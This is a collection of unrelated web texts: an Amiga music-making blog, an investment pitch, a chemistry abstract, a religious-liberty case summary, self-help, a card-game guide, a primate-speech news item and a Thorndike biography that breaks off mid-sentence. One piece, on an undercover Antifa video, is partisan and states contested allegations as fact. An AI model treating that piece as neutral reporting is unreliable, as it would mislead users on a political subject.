-After getting an Amiga 1200 summer 2016, almost a year later I’ve finally got it set up close to how I want it. What I primarily did on the Amiga back in the days was create music on it and the only thing I didn’t sell when making the big mistake of selling my towered A1200 in 2005 was my Amiga MIDI interface. I used to connect a MIDI controller Keyboard to it. As software I use a tracker program which came free on a coverdisk of CU Amiga Magazine back In 1996 called ‘Soundtracker pro 2’ by Marco Nelissen. Little did I know this software was going to shape my creative life.  Still having an Amiga 500 back then, I had an Action reply cartridge and I used to rip music from demos, games and intros via that trusty red square freeze button and my collection began. ‘Soundtracker Pro 2’ was practically my main music player, I used to sit and watch the tracker go up as the numbers danced to the music. I started dabbling with sampling, I would sample sounds and instruments and start replacing samples in mod music, and save them as remixed mods. As with most people at that time, there was no internet nor any other distraction other than TV which was never my thing. It was just me with Soundtracker pro 2 loaded onto my Amiga and lots of floppy disks, ah simple times!  After about a year of messing with mods, samples and remixes. In 1997 I had a go at writing/composing my own music module. 1997 was the year I got an Amiga 1200, which with it’s doubled memory and cpu power and IDE hard drive support, (Of course eventually leading me to get a hard drive even if it was only 200mb), give me some more space to breathe when creating music. This went on until 2004.  The only disadvantage to Soundtracker Pro 2 is the file format, it saves as MOD but this is not a standard protracker MOD and loading it into any other tracker program would come up with a mess or reacquaint us with our old friend ‘Guru Meditation’. I tried dabbling with Protracker, Noisetracker and Octamed v5 but the interface just didnt agree with me, it was not like Soundtracker Pro 2 and despite having the Source Code? For the STP file format, I don’t know how to code in order to create a converter from STP MOD to regular MOD format.  Not so long ago I bought a Yamaha Reface DX, an amazing synthesizer that is a remake of the vintage Yamaha DX7, which was popular amongst musicians and bands in the 1980s. This powerful little synth has MIDI and can of course be connected to the Amiga. My first ever recent music project began when I was messing around playing Turrican 3 on my Commodore 64, the music to the second level grabbed me and got stuck in my mind. So I got hold of the SID file and I could play it back on my Amiga using playSID, a simple SID playing program available on Aminet.  The .MOD and .SID formats are completely different in how they work, as are the SID and Paula Chips. I do believe Paula also has some Wavetable Synthesis and FM Synthesis capabilities. Which is why I sometimes felt that Amiga and Commodore 64 music sometimes reminds me of one another. However as far as I know there is no chance of conversion from one format to the other. So the only option is to recreate a MOD by ear.  Using my Reface DX, I created a custom sound for the Turrican 3 music by messing around with envelopes, operators and effects. With my Technosound Turbo Sampling Cartridge, I began to sample some of these sounds and also some built in presets such as bass sounds, pads, musical instrument sounds and effects and saved them into a folder.  Now is the time to start creating the music. I now started to use the Reface DX as a MIDI controller and after hours of playing snippets of melody into the tracker, programming drum rhythms and sequences along with bass, identifying notes and chords by playing the original SID file at a lower tempo and then playing them into the tracker program, it was all coming together.  I used effects such as a sample start position shift, which starts playing the sample at different points, this is useful for emulating a sort of cut off, filter slide type effect with the correct sample (i’m unsure of the exact term for this effect).  Another I used was portamento which is the shift in pitch from one note to another. I also used a modulation effect at certain points to shape the way the sound flows. All number commands that i’ve known from back in the days when I used to watch the ‘dancing numbers’ while listening to mods from my collection.  My aim isn’t to improve on the SID tune but to show my appreciation for it by recreating it on the Amiga. The music has been stuck in my mind for weeks and It was the perfect time to do a project like this and give it an outlet, use the passion which was within.  Update: The track can be downloaded as an MP3 (320kbps) from Remix64: http://www.remix64.com/track/madija/turrican-3-shooter/  Here is the video from my channel on how i’m creating this music from scratch on Soundtracker Pro 2.
-Jay Petschek and Steven Major's hedge fund Corsair Capital pitched Alere (ALR) in their Q4 letter. They feel that the market still has a negative view toward the company despite numerous changes happening.  The company is involved with medical diagnostics and has a huge market share in 'point-of-care rapid tests used in hospitals, clinics and doctors' offices.'  Over the last ten years, the company went on an acquisition binge and basically failed to integrate them properly. A proxy contest in 2013 led to changes and the company hired Namal Nawana from Johnson & Johnson as COO to change the culture and reduce costs.  Corsair thinks ALR is worth between $70-80 per share if it trades with a multiple in-line with other competitors. ALR trades around $37 today.  They also note, "Furthermore, if the market doesn't come around and value this business properly, we wouldn't be surprised if, after restructuring the company, (the CEO) looks to sell the company as he did with IMA back in 2001."  Embedded below is Corsair Capital's Q4 letter with their pitch on Alere (ALR):  If you missed it, we've posted up Corsair's past letters as well.
-Novel [Ru(L)(Tpms)]Cl and [Ru(L)(TpmsPh)]Cl complexes (L = p-cymene, benzene, or hexamethylbenzene, Tpms = tris(pyrazolyl)methanesulfonate, TpmsPh = tris(3-phenylpyrazolyl)methanesulfonate) have been prepared by reaction of [Ru(L)(μ-Cl) 2 ] 2 with Li[Tpms] and Li[TpmsPh], respectively. [Ru(p-cymene)(Tpms)]BF 4 has been synthesized through a metathetic reaction of [Ru(p-cymene)(Tpms)]Cl with AgBF 4 . [RuCl(cod)(Tpms)] (cod = 1,5-cyclooctadiene) and [RuCl(cod)(TpmsPh)] are also reported, being obtained by reaction of [RuCl 2 (cod)(MeCN) 2 ] with Li[Tpms] and Li[TpmsPh], respectively. The structures of the complexes and the coordination modes of the ligands have been established by IR, NMR, and single-crystal X-ray diffraction (for [RuL(Tpms)]X (L = p-cymene or HMB, X = Cl; L = p-cymene, X = BF 4 )) studies. Electrochemical studies showed that each complex undergoes a single-electron RuII → RuIII oxidation at a potential measured by cyclic voltammetry, allowing to compare the electron-donor characters of the tris(pyrazolyl)methanesulfonate and arene ligands, and to estimate, for the first time, the values of the Lever E L ligand parameter for TmpsPh, HMB, and cod.
-Watch the latest video at video.foxnews.com  Meet Toni Richardson  Toni Richardson is a Functional Skills Educational Technician at a high school within the Augusta School Department in Augusta, Maine. She works with students who have special needs due to cognitive and emotional disabilities and helps them learn important skills for functioning in life.  Toni is a devout Christian who considers her faith to be foundational to her life. She is active in ministry, serving others through her church’s nursing home ministry and also the monthly dinners given by her church for members of the community who are less fortunate.  She says, “Because my faith is an integral part of who I am, my religious beliefs influence how I see the world and sometimes affect the words and phrases I use as a part of casual conversations with friends and colleagues. I pray often for the people I care about and sincerely believe in the power of prayer.”  Interrogated by School Official and Banned from Saying “I Will Pray for You”  In September 2016, however, Toni was interrogated by a school official about the religious content of her conversations. The official asked Toni if she had told anyone at the school she was a Christian, that she would pray for them, or if she had made any “faith-based statement[s].” According to the official, such statements would even include phrases like “That’s a blessing.”  The school official told Toni that she was violating the First Amendment of the U.S. Constitution and that she couldn’t tell people they would be in her prayers—which was something Toni had recently done one day at work in a private conversation with a coworker.  In that conversation, Toni had sought to encourage her coworker by telling him that she would pray for him. The conversation occurred after students had left class and while Toni and the coworker were alone. At the time, Toni’s coworker—who attended her church—thanked her for her kind gesture.  Regardless, soon after being interrogated, Toni was sent an official, written “coaching memorandum.” The memo stated that it was “imperative” that Toni stop “us[ing] phrases that integrate public and private belief systems when in the public schools.”  The memo asserted that the phrases “I will pray for you” and “you were in my prayers” were “not acceptable – even if that other person attends the same church as you.” The memo also invoked the “separation of church and state” and threatened that if Toni had any other conversations that school officials decided were “unprofessional,” Toni would face further disciplinary action and could even be fired.  “I was shocked that my employer punished me for privately telling a coworker, ‘I will pray for you,’” Toni stated in a press release. “I am afraid that I will lose my job if someone hears me privately discussing my faith with a coworker.”  First Liberty Institute Legal Action  Toni retained the assistance of First Liberty Institute, and on May 16, 2017, First Liberty and the elite Maine law firm Eaton Peabody filed a complaint on Toni’s behalf with the U.S. Equal Employment Opportunity Commission (EEOC).  The complaint argued that the school’s actions showed hostility toward Toni’s expression of faith and constituted “unlawful viewpoint discrimination” banned by the First Amendment of the U.S. Constitution. It also stated that under Title VII of the Civil Rights Act of 1964, school districts like the Augusta School Department are required to accommodate the religious beliefs of its employees.  “No one should be threatened with losing their job for privately telling a coworker, ‘I will pray for you,’” Jeremy Dys, Deputy General Counsel at First Liberty Institute, stated. “School employees are not required to hide their faith from each other while on campus.”  School District Acknowledges Its Employees’ First Amendment Rights  In November 2017, less than six months after First Liberty and Eaton Peabody filed Toni’s EEOC complaint, the school district sent Toni an updated coaching memorandum. The school district withdrew any threats of disciplinary action against Toni and acknowledged the First Amendment rights of all school employees, including Toni, “to express religious beliefs or use faith-based language at school.” Further, the updated coaching memorandum said comments such as “God Bless You” or “I am praying for you” are permissible when made to co-workers outside of the hearing of students.  “I love my job helping special needs students succeed, and I am glad that I don’t have to sacrifice my First Amendment rights in order to be here,” Toni Richardson says. “I hope my colleagues, and school employees across the country, will remember that the First Amendment still protects our private conversations at work.”
-If you work ridiculous hours and have no time to actually have a life then you are doing it all wrong!  Time is more important than money! There I’ve said it.  The whole idea is that you work to live and not live to work but somewhere down the line a lot of us get this concept all mixed up. It’s like one of those catch 22 situations where you initially take a job to enable you to earn more money and thus lead a better life, but it becomes a never ending pursuit of more money and a promise that one day you will cut back the hours. So you end up basing your life around work and the whole plan has flipped 180!  It’s not right is it? Okay you may need the money to support a family or you may work in a profession that requires long hours with little time off, but there are always ways to increase your earnings without compromising your life. The first step is to actually realise that a change needs to be made.  So I am going to show you 5 reasons why time is more important than money.  1. We only have a limited time on this planet so make it count  There are various theories that with the advances in science and medicine many of us will live past the age of 200, and possibly a lot longer than that. Age reversal, stem cell technology and the curing of various diseases are just some of the ways this will be possible, but so far all of this is still in the development stage.  We can’t expect to solely rely on the idea that we will always be here. Most of us see death as a taboo subject and we naively believe that we will be around forever, but we should be living our lives as if there is a time limit.  That timer is counting down and we have no idea when it reaches zero, so why are we wasting most of our time doing the things we don’t want?  2. When you look back on your life, you never wish for a bigger bank balance  Think of your life like a book that is being written and will be published when your time is up. I’m fairly sure that you can’t fill up a book with your bank balance so what else is there?  Each chapter of this book should be focused on a different aspect of your life and to enable this to happen, your life should be as varied and eventful as possible. Spending countless hours every week for years on end working yourself into the ground will not make a very good book, not unless you are making a difference with your job and/or money.  When people look back on their lives they never wish they could have spent more time in the office so take note of this now and do something about it.  3. There is no point having money if you have no time to spend it  There are many people out there who just love to hoard money away in the hope that one day they will eventually have enough to retire. These hoarders actually have a scarcity mind-set and are afraid of losing their hard earned cash. The truth is, no amount of money will ever be enough for them and they see their increasing bank balance as a barometer of their success.  It would be unfair to call these people ‘tight’ as a refusal to spend money can also be attributed to a lack of hobbies or social life. It’s certainly easier to spend 70 hours a week in the office if you feel like you have nothing fun to do outside of work.  The solution to this is quite obvious. The more we have going on in our private lives, the less time we will allow work to take from us.  4. Those who have time want money, and those who have money want time  You know the funny thing is that most people want what they can’t have and this is usually true across both ends of the time/money spectrum. Those who are unemployed or have low incomes will strive for more hours or a better paid job while those who are on six figure salaries often moan that they have no time to spend with their friends and family.  Neither of these is desirable and both will ultimately cause unhappiness in your life so the trick is to find a happy medium which leads me to my next point.  5. A healthier balance leads to a healthier life  It’s almost like a cruel paradox. You can have all this free time but no actual money to do anything worthwhile or you can have all this money but no free time to do the things you want. The trick is to find a balance and earn enough money without sacrificing all of your free time.  Easier said than done I admit but if you find yourself out of sync with your work and amount of free time then you should try to find ways of addressing this imbalance in your life.  Remember we only work x hours a week because that is the amount that society arbitrarily places upon us all. This amount isn’t set in stone and it is up to us to decide what we do with our lives.  If you are in a position where you have little choice but to work a lot of overtime or you don’t have the resources to free up a lot of your life, just take the opportunity to have some ‘you’ time. Keep your weekends free or have one or two evenings a week where you have the chance to do whatever you want.  Take that class, have that night out, practice that hobby, have a weekend away, spend time with your friends/family/partner. Whatever it is that you daydream about at work, make some time during the week to focus on that and I promise you that you will be far happier and less stressed.  So let me know, is time more important than money or is it the other way around?
-Journalist Infiltrates ANTIFA, Undercover Video Exposes Everything  “You’re going to take the knife—and we’ve got 2 AK’s coming,” said one Antifa member. “The idea is plain clothes and hard tactics. I don’t think they’ll know what hit them, because they’re not prepared for what we’re planning.”  Many Americans have grown increasingly concerned over the virtual media blackout on Antifa’s domestic terrorist activities. Only through the alt-media has the mainstream been forced to cover them, and even then, it’s only a lip service—but in this ground-breaking new video, the word “Antifa” may now be set to become a common household name.  Steven Crowder was the last that many would expect to infiltrate the rogue “anti-fascist” organization. The quirky comedian is known for his controversial political commentary, on the podcast which he hosts, “Louder With Crowder,” so when he recently released this undercover video of Antifa, many were surprised.  “Why did it take two late night hosts—Comedians—to find this out?” Crowder asked a media official, after showing him indisputable evidence of Antifa’s wrong-doings. “You know I wish you the best of luck,” the man says—and then just like that, he walks away.  This video documents nearly everything, as Crowder went undercover in a massive two week operation, infiltrating a local Antifa cell. He exposes their tactics, how they coordinate, their communication methods, and most importantly, how the media is completely turning a blind eye to what they’re doing.  “Protests, violence, riots, calling everyone a Nazi—this is the M.O. of Antifa. We’ve all seen it, but the media, politicians, and academia all defend, deflect, or completely deny,” he says. “What we saw were some brave people risking their lives!” said one CNN interviewee, in reference to the far-left riots. “The Antifa movement is interested in preserving the fabric of America!” said another.  “Why is that?” asks Crowder, wondering why the media seems to be completely united in their crusade against the alt-right. “How deep does their organization go? What’s their end game?” he asks. For several months, he meticulously infiltrated Antifa, which according to him has begun upping their vetting process.  “In order to get in with the Antifa crowd, we had to infiltrate their private groups. After news broke that they were officially classified as a domestic terrorist organization, they pulled everything in much closer to the chest. They started vetting people, becoming paranoid about spies, demanded we meet with them in person, installing their cryptic messaging app onto our phone,” Crowder says.  It’s important that we understand Antifa’s tactics, but we must first understand that they’re in a PR battle. What they claim on the media, and what they actually do in person, are two completely different things. On the surface, the organization claims that they’re fighting fascism, supporting our freedoms, and trying to eradicate hate in this country…but the undercover videos tell a different story.  “Did you bring your gun?” a woman asked at an Antifa meeting. “I have…a regular rifle and an assault weapon, and a sawed-off style shot gun,” the man responded. The leader replied by saying that she had a handgun, and “two AK’s coming.”  It turns out that police have been tracking this “pan-sexual, transgender queer” for a while, and were grateful for the footage—but the media on the other hand, wanted nothing to do with it.  “You just saw correctly—even being shown the footage in the presence of police officers to confirm authenticity, they walked away,” he said in reference to Matt McDonald of Fox 13 News. Another media host, Dan Harris from ABC’s Nightline, turned down the footage.  “We were delivering a story to local and national news on a silver platter, which included infiltration, violence, and exposing the roots of a national domestic terrorist organization—and NO ONE even wanted to even give it a GLIMPSE? Not one person? It didn’t even get mentioned!” Crowder says.  He ends the video with some sobering remarks, pointing out that the left has been normalizing violence against conservatives for too long. “If they call Ben Shapiro or me a Nazi, what does that make you? If they justify violence against someone with an iPhone camera, what can they do to you?”
-Howdy Shadowverse players! Man! It’s been a while since I have had sometime to sitdown and write an article on my own website. Generally I am writing between shadowverse.gamepress.gg and shadowverse.nge.io so I don’t have a large amount of time but I wanted to take the time to come back home and write an article on a deck that I have been playing a ton! Please understand that this article is primarily written for players who may not be entirely familiar with Shadowverse.  What is Vengeance Blood?  Vengeance blood is a midrange deck that is built around the premise of using bloodcrafts main mechanic Vengeance. While you are at 10 HP or lower, vengeance is active, allowing you to use increase the power of some of your cards.  Dark General: Gains Storm while in vengeance  Diabolic drain: Cost is reduced to 1 instead of 5  Belphegor: You do not take additional damage for playing this card while you are in vengeance  Emerelda, Demonic officer: Gains storm while in vengeance  Dark Air Jammer: Pulls 2 followers instead of one while in vengeance  My opponent won’t put me into vengeance! How do I get myself into vengeance?  Excellent question! This deck is literally equipped to handle that very situation. Good players will usually do their best not to force you into vengeance because they know the power of the deck they are facing. Below you will find a little guide as to what to do depending on the life total your opponent leaves you at.  12 HP Razory Claw Blood Wolf Spiderweb Imp Blood Pact  11 HP Ambling Wraith Snarling Chain  Belphegor…  Belphegor will always put you in vengeance regardless of your life total. However, you have to be careful about how you play belphegor because if played in correctly, you could actually end up killing yourself. There are games where you will not even want to be in vengeance after a certain time of the game has passed but i will cover that in the match up portion in the next article.  But Aya! I don’t understand why jormengand is in this deck! Can you explain???  Absolutely! Jormungand at first kind of became a pet card because of how underplayed it was. However after doing a lot of testing with the card, i have learned some very important things about it.  It is a must kill card. Your opponent isn’t gonna be leaving a 5/5 on the board for any reason. If they do kill it, they give your additional reach with your lethals If you look at how i constructed this deck, you will see that many cards in it deal damage to yourself. When Jor is killed, even a blood pact can help you lethal your opponent! Its entrance animation is freaking cool as hell! (This is a real reason! Don’t judge me….)  Then the next obvious question is “Why wouldn’t you play any of the other 6 drops in your deck?” I will address this below.  Carabosse, Wicked Fairy Very powerful card but has one major draw back. I don’t want to be locked in at 6 play points for the remainder of the game. In this deck, you generally want to play this card on turn 7 because you want to be able to play your Emerelda’s to help finish out the game. Unfortunately though, in the current meta as it stands, playing Carabosse on 7 ends up being a significant loss in tempo and this deck is always trying to push forward as quickly possible.  Imp Lancer Imp Lancer is certainly a fine option for the jor slot if someone opted not to play it. There is literally nothing wrong with this substitution.  Fenrir An excellent drop in the 6 slot but it is a little too slow for what you are trying to do. You generally want to be pushing as much as you can to your opponents face and this card doesn’t really help with that too much.  Mulligans  You mulligans are very important with this deck. I will try to cover as much of the mulligans as i can for the more common match ups.  Ambling Wraith  Blood Wolf  Spiderweb Imp Keep: You are playing against Forest / Sword / Blood as these tend to be aggro decks and you want to be conservative with your life total as much as possible. Don’t Keep: Against Rune. This card is a very easy Kaleidoscopic Glow target.  Disagreeable Demon Keep: You have a 2 drop in hand in match ups that are not the below or you are playing against Dragon / Haven / Rune  Belphegor Keep: Against Rune / Dragon / Haven / Blood (though debatable) Don’t Keep: Against Aggro decks.  Snarling Chains Keep: Going Second and if you did not get any other 2 drops.  Do you have tips for playing the deck?  It takes quite a bit of games to understand how you are supposed to play out your match ups. Stay tuned for the match up article that will be coming out shortly after this one!  Don’t focus on playing Jormungand! A lot of the time, you will feel the temptation to play jor when a better play is available. Play it when you can, not when you want to!  Make sure to pay very close attention to how much potential damage you can do in a turn. If you are not familiar with playing a deck such as this, it can be easy to miss lethal by not paying attention to a Razory claw in your hand or even remembering that jormungand’s effect has triggered.  In the beginning, play this like an aggro deck. Much like an aggro deck, you do want to play to your curve so mulliganing for it is paramount if you are going first more specifically.  Be weary of your life total and how much your opponent can do to you in a turn. This is rather generic advice but it is even more important for this deck than any other decks because of the sheer amount of damage you do to yourself. Don’t put yourself in your opponents lethal range!  Final thoughts  This deck is a ton of fun and I hope you get as much enjoyment out of playing it as I do! In the next article, i will cover this decks match ups and try to go into detail as to how this deck can be played in those! Feel free to hit up my discord and chat about shadowverse here! https://discord.gg/bdVuV7T Until next time!  (For the people who don’t get the reference in the title…)
-Mark Kaser/University of Durham/PA  An orangutan has shown an ability to emulate human speech for the first time — a feat that gets us closer to understanding how human speech first evolved from the communications of ancestral great apes.  ‘Rocky’ the ginger ape has astonished experts by producing sounds similar to words in a “conversational context”.  “This opens up the potential for us to learn more about the vocal capacities of early hominids that lived before the split between the orangutan and human lineages to see how the vocal system evolved towards full-blown speech in humans,” says lead researcher Adriano Lameria, from the University of Durham, UK.  Advertisement  His team conducted a game in which the ape mimicked the pitch and tone of human sounds and made vowel-like calls.  Comparing his sounds against a large database of recordings of wild and captive orangutans showed they were markedly different.  Rocky was able to learn new sounds and control the action of his voice in the way humans do when they conduct a conversation, the scientists concluded.  “Instead of learning new sounds, it has been presumed that sounds made by great apes are driven by arousal over which they have no control,” says Lameria. “But our research proves that orangutans have the potential capacity to control the action of their voices.”  “This indicates that the voice control shown by humans could derive from an evolutionary ancestor with similar voice control capacities as those found in orangutans and in all great apes more generally,” he says.  Eight-year-old Rocky was studied at Indianapolis Zoo in the US, where he still lives, between April and May 2012.  In the “do-as-I-do” game he attempted to copy random sounds made by the experimenter which included variations in tone and pitch.  His calls were compared with sounds collected from more than 12,000 hours of observations of more than 120 orangutans from 15 wild and captive populations.  A previous study led by Lameira when he was based at the University of Amsterdam found that a female orangutan called Tilda was able to make sounds that had the same rhythm and pace as human speech.  Journal reference: Scientific Reports, DOI: 10.1038/srep30315  Read more: Talking gibbonish: Deciphering the banter of the apes; Kiki or bouba? In search of language’s missing link
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-Edward Lee Thorndike (August 31, 1874 – August 9, 1949) was an American psychologist who spent nearly his entire career at Teachers College, Columbia University. His work on comparative psychology and the learning process led to the theory of connectionism and helped lay the scientific foundation for educational psychology. He also worked on solving industrial problems, such as employee exams and testing. He was a member of the board of the Psychological Corporation and served as president of the American Psychological Association in 1912.[1][2] A Review of General Psychology survey, published in 2002, ranked Thorndike as the ninth-most cited psychologist of the 20th century.[3] Edward Thorndike had a powerful impact on reinforcement theory and behavior analysis, providing the basic framework for empirical laws in behavior psychology with his law of effect. Through his contributions to the behavioral psychology field came his major impacts on education, where the law of effect has great influence in the classroom.  Early life [ edit ]  Thorndike, born in Williamsburg, Massachusetts,[4] was the son of Edward R and Abbie B Thorndike, a Methodist minister in Lowell, Massachusetts.[5] Thorndike graduated from The Roxbury Latin School (1891), in West Roxbury, Massachusetts and from Wesleyan University (B.S. 1895).[4] He earned an M.A. at Harvard University in 1897.[4] His two brothers (Lynn and Ashley) also became important scholars. The younger, Lynn, was a medievalist specializing in the history of science and magic, while the older, Ashley, was an English professor and noted authority on Shakespeare.  While at Harvard, he was interested in how animals learn (ethology), and worked with William James. Afterwards, he became interested in the animal 'man', to the study of which he then devoted his life.[6] Edward's thesis is sometimes thought of as the essential document of modern comparative psychology. Upon graduation, Thorndike returned to his initial interest, educational psychology. In 1898 he completed his PhD at Columbia University under the supervision of James McKeen Cattell, one of the founding fathers of psychometrics.  In 1899, after a year of unhappy initial employment at the College for Women of Case Western Reserve in Cleveland, Ohio, he became an instructor in psychology at Teachers College at Columbia University, where he remained for the rest of his career, studying human learning, education, and mental testing. In 1937 Thorndike became the second President of the Psychometric Society, following in the footsteps of Louis Leon Thurstone who had established the society and its journal Psychometrika the previous year.  On August 29, 1900, he wed Elizabeth Moulton. They had four children, among them Frances, who became a mathematician.[7]  During the early stages of his career, he purchased a wide tract of land on the Hudson and encouraged other researchers to settle around him. Soon a colony had formed there with him as its 'tribal' chief.[8]  Connectionism [ edit ]  Thorndike was a pioneer not only in behaviorism and in studying learning, but also in using animals in clinical experiments.[9] Thorndike was able to create a theory of learning based on his research with animals.[9] His doctoral dissertation, "Animal Intelligence: An Experimental Study of the Associative Processes in Animals", was the first in psychology where the subjects were nonhumans.[9] Thorndike was interested in whether animals could learn tasks through imitation or observation.[10] To test this, Thorndike created puzzle boxes. The puzzle boxes were approximately 20 inches long, 15 inches wide, and 12 inches tall.[11] Each box had a door that was pulled open by a weight attached to a string that ran over a pulley and was attached to the door.[11] The string attached to the door led to a lever or button inside the box.[11] When the animal pressed the bar or pulled the lever, the string attached to the door would cause the weight to lift and the door to open.[11] Thorndike’s puzzle boxes were arranged so that the animal would be required to perform a certain response (pulling a lever or pushing a button), while he measured the amount of time it took them to escape.[9] Once the animal had performed the desired response they were allowed to escape and were also given a reward, usually food.[9] Thorndike primarily used cats in his puzzle boxes. When the cats were put into the cages they would wander restlessly and meow, but they did not know how to escape.[12] Eventually, the cats would step on the switch on the floor by chance, and the door would open.[12] To see if the cats could learn through observation, he had them observe other animals escaping from the box.[12] He would then compare the times of those who got to observe others escaping with those who did not, and he found that there was no difference in their rate of learning.[9] Thorndike saw the same results with other animals, and he observed that there was no improvement even when he placed the animals’ paws on the correct levers, buttons, or bar.[10] These failures led him to fall back on a trial and error explanation of learning.[10] He found that after accidentally stepping on the switch once, they would press the switch faster in each succeeding trial inside the puzzle box.[10] By observing and recording the animals’ escapes and escape times, Thorndike was able to graph the times it took for the animals in each trial to escape, resulting in a learning curve.[12] The animals had difficulty escaping at first, but eventually "caught on" and escaped faster and faster with each successive puzzle box trial, until they eventually leveled off.[12] The quickened rate of escape results in the s-shape of the learning curve. The learning curve also suggested that different species learned in the same way but at different speeds.[10] From his research with puzzle boxes, Thorndike was able to create his own theory of learning. The puzzle box experiments were motivated in part by Thorndike's dislike for statements that animals made use of extraordinary faculties such as insight in their problem solving: "In the first place, most of the books do not give us a psychology, but rather a eulogy of animals. They have all been about animal intelligence, never about animal stupidity."[13]  Thorndike meant to distinguish clearly whether or not cats escaping from puzzle boxes were using insight. Thorndike's instruments in answering this question were learning curves revealed by plotting the time it took for an animal to escape the box each time it was in the box. He reasoned that if the animals were showing insight, then their time to escape would suddenly drop to a negligible period, which would also be shown in the learning curve as an abrupt drop; while animals using a more ordinary method of trial and error would show gradual curves. His finding was that cats consistently showed gradual learning.  Adult learning [ edit ]  Thorndike put his testing expertise to work for the United States Army during World War I. He created both the Alpha and Beta versions that led to today's ASVAB, a multiple choice test administered by the United States Military Entrance Processing Command that is used to determine qualification for enlistment in the United States armed forces. For classification purposes, soldiers were administered Alpha tests. With the realization that some soldiers could not read well enough to complete the Alpha test, the Beta test (consisting of pictures and diagrams) was administered. Such contributions anchored the field of psychology and encouraged later development of educational psychology.  Thorndike believed that "Instruction should pursue specified, socially useful goals." Thorndike believed that the ability to learn did not decline until age 35, and only then at a rate of 1 percent per year, going against the thoughts of the time that "you can't teach old dogs new tricks." It was later shown[who?] that the speed of learning, not the power of learning declined with age. Thorndike also stated the law of effect, which says behaviors that are followed by good consequences are likely to be repeated in the future.  Thorndike identified the three main areas of intellectual development. The first being abstract intelligence. This is the ability to process and understand different concepts. The second is mechanical intelligence, which is the ability to handle physical objects. Lastly there is social intelligence. This is the ability to handle human interaction[14]  Learning is incremental.[9] Learning occurs automatically.[9] All animals learn the same way.[9] Law of effect- if an association is followed by a "satisfying state of affairs" it will be strengthened and if it is followed by an "annoying state of affairs " it will be weakened. Thorndike’s law of exercise has two parts; the law of use and the law of disuse. Law of use- the more often an association is used the stronger it becomes.[15] Law of disuse- the longer an association is unused the weaker it becomes.[15] Law of recency- the most recent response is most likely to reoccur.[15] Multiple response- problem solving through trial and error. An animal will try multiple responses if the first response does not lead to a specific state of affairs.[15] Set or attitude- animals are predisposed to act in a specific way.[15] Prepotency of elements- a subject can filter out irrelevant aspects of a problem and focus and respond only to significant elements of a problem.[15] Response by analogy- responses from a related or similar context may be used in a new context.[15] Identical elements theory of transfer- This theory states that the extent to which information learned in one situation will transfer to another situation is determined by the similarity between the two situations.[9] The more similar the situations are, the greater the amount of information that will transfer.[9] Similarly, if the situations have nothing in common, information learned in one situation will not be of any value in the other situation.[9] Associative shifting- it is possible to shift any response from occurring with one stimulus to occurring with another stimulus.[15] Associative shift maintains that a response is first made to situation A, then to AB, and then finally to B, thus shifting a response from one condition to another by associating it with that condition.[16] Law of readiness- a quality in responses and connections that results in readiness to act.[16] Thorndike acknowledges that responses may differ in their readiness.[16] He claims that eating has a higher degree of readiness than vomiting, that weariness detracts from the readiness to play and increases the readiness to sleep.[16] Also, Thorndike argues that a low or negative status in respect to readiness is called unreadiness.[16] Behavior and learning are influenced by the readiness or unreadiness of responses, as well as by their strength.[16] Identifiability- According to Thorndike, the identification or placement of a situation is a first response of the nervous system, which can recognize it.[16] Then connections may be made to one another or to another response, and these connections depend upon the original identification.[16] Therefore, a large amount of learning is made up of changes in the identifiability of situations.[16] Thorndike also believed that analysis might turn situations into compounds of features, such as the number of sides on a shape, to help the mind grasp and retain the situation, and increase their identifiability.[16] Availability- The ease of getting a specific response.[16] For example, it would be easier for a person to learn to touch their nose or mouth than it would be for them to draw a line 5 inches long with their eyes closed.[16]  Development of law of effect [ edit ]  Thorndike's research focused on instrumental learning, which means that learning is developed from the organism doing something. For example, he placed a cat inside a wooden box. The cat would use various methods while trying to get out, however nothing would work until it hit the lever. Afterwards, Thorndike tried placing the cat inside the wooden box again. This time, the cat was able to hit the lever quickly and succeeded in getting out from the box.  At first, Thorndike emphasized the importance of dissatisfaction stemming from failure as equal to the reward of satisfaction with success, though in his experiments and trials on humans he came to conclude that reward is a much more effective motivator than punishment. He also emphasized that the satisfaction must come immediately after the success, or the lesson would not sink in.[8]  Eugenic views [ edit ]  Thorndike was a proponent of eugenics. He argued that "selective breeding can alter man's capacity to learn, to keep sane, to cherish justice or to be happy. There is no more certain and economical a way to improve man's environment as to improve his nature."[17]  Criticism [ edit ]  Thorndike's law of effect and puzzle box methodology were subjected to detailed criticism by behaviorists and many other psychologists.[18] The criticisms over the law of effect mostly cover four aspects of the theory: the implied or retroactive working of the effect, the philosophical implication of the law, the identification of the effective conditions that cause learning, and the comprehensive usefulness of the law.[19]  Thorndike on education [ edit ]  Thorndike's Educational psychology began a trend toward behavioral psychology that sought to use empirical evidence and a scientific approach to problem solving. Thorndike was among some of the first psychologists to combine learning theory, psychometrics, and applied research for school-related subjects to form psychology of education. One of his influences on education is seen by his ideas on mass marketing of tests and textbooks at that time. Thorndike opposed the idea that learning should reflect nature, which was the main thought of developmental scientists at that time. He instead thought that schooling should improve upon nature. Unlike many other psychologist of his time, Thorndike took a statistical approach to education in his later years by collecting qualitative (quantitative?) information intended to help teachers and educators deal with practical educational problems.[20] Thorndike's theory was an association theory, as many were in that time. He believed that the association between stimulus and response was solidified by a reward or confirmation. He also thought that motivation was an important factor in learning.[21] The Law of Effect introduced the relation between reinforcers and punishers. Although Thorndike's description of the relation between reinforcers and punishers was incomplete, his work in this area would later become a catalyst in further research, such as that of B.F. Skinner.[22]  Thorndike's Law of Effect states that "responses that produce a desired effect are more likely to occur again whereas responses that produce an unpleasant effect are less likely to occur again".[23] The terms 'desired effect' and 'unpleasant effect' eventually became known as 'reinforcers' and 'punishers'.[24] Thorndike's contributions to the Behavioral Psychology Society are seen through his influences in the classroom, with a particular focus on praising and ignoring behaviors. Praise is used in the classroom to encourage and support the occurrence of a desired behavior. When used in the classroom, praise has been shown to increase correct responses and appropriate behavior.[25] Planned ignoring is used to decrease, weaken, or eliminate the occurrence of a target behavior.[25] Planned ignoring is accomplished by removing the reinforcer that is maintaining the behavior. For example, when the teacher does not pay attention to a "whining" behavior of a student, it allows the student to realize that whining will not succeed in gaining the attention of the teacher.[25]  Beliefs about the behavior of women [ edit ]  Unlike later behaviorists such as John Watson, who placed a very strong emphasis on the impact of environmental influences on behavior,[26] Thorndike believed that differences in the parental behavior of men and women were due to biological, rather than cultural, reasons.[27] While conceding that society could "complicate or deform" [28] what he believed were inborn differences, he believed that "if we [researchers] should keep the environment of boys and girls absolutely similar these instincts would produce sure and important differences between the mental and moral activities of boys and girls".[29] Indeed, Watson himself overtly critiqued the idea of maternal instincts in humans in a report of his observations of first-time mothers struggling to breastfeed. Watson argued that the very behaviors Thorndike referred to as resulting from a 